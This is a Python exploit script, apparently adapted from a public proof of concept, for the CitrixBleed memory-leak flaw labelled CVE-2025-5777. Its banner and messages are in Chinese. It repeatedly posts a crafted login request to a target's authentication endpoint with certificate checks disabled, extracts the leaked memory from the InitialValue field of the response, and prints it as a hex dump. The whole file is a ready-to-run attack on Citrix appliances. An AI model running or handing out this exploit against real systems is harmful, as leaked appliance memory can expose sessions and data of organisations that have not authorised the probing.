1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

import re
import sys
import warnings
import requests
from time import sleep
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def title():
    print(r'''
  ______     _______     ____   ___ ____  ____       ____ _____ _____ _____ 
 / ___\ \   / / ____|   |___ \ / _ \___ \| ___|     | ___|___  |___  |___  |
| |    \ \ / /|  _| _____ __) | | | |__) |___ \ ____|___ \  / /   / /   / / 
| |___  \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__) |/ /   / /   / /  
 \____|  \_/  |_____|   |_____|\___/_____|____/     |____//_/   /_/   /_/   
                                                        
[+] CitrixBleed - 内存泄露漏洞(越界读取)
[+] 作者：Yesith Alvarez
[+] Github：https://github.com/yealvarez
[+] Linkedin：https://www.linkedin.com/in/pentester-ethicalhacker/
[+] 代码改进：https://github.com/yealvarez/CVE/blob/main/CVE-2025-5777/exploit.py
    ''')


def print_hex(data: bytes):
    for i in range(0, len(data), 16):
        chunk = data[i:i+16]
        hex_part = " ".join(f"{b:02X}" for b in chunk)
        ascii_part = "".join(chr(b) if 32 <= b <= 126 else "." for b in chunk)
        print("{:08X}".format(i) + "  " + "{:<47}".format(hex_part) + "  " + ascii_part)

def extraction(blob: bytes) -> bytes | None:
    OpenInitialValue = "<InitialValue>".encode("utf-8")
    closenitialValue = "</InitialValue>".encode("utf-8")
    matched = "(.*?)".encode("utf-8")
    extract = re.compile(re.escape(OpenInitialValue) + matched  + re.escape(closenitialValue),flags=re.DOTALL | re.IGNORECASE)
    m = extract.search(blob)
    return None if m is None else m.group(1)


def exploit(target: str):
    url = "https://"+target+"/p/u/doAuthentication.do"
    
    headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
    }
        
    try:
        resp = requests.post(
            url,
            data="login".encode("utf-8"),
            headers=headers,
            timeout=15,
            verify=False,
        )
        resp.raise_for_status()
    except Exception as e:
        print("["+target+"] 错误：未发现漏洞: " + str(e))
        return

    binary = extraction(resp.content)
    if binary is None:
        print("["+target+"] 连接错误 ")
        return
    print("\n[+] 从目标 ["+target+"] 捕获 "+str(len(binary))+" 字节数据:\n")
    print_hex(binary)

if __name__ == '__main__':
    warnings.simplefilter("ignore", InsecureRequestWarning)
    title()
    if len(sys.argv) < 2:
        print('[+] 用法：python3'+sys.argv[0]+' <目标主机>\n')
        print('[+] 示例：python3'+sys.argv[0]+' 10.10.10.10\n')
        sys.exit(0)
    else:
        target = sys.argv[1]
        try:
            while True:
                exploit(target)
               
        except KeyboardInterrupt:
            print("\n[+] 用户终止操作。")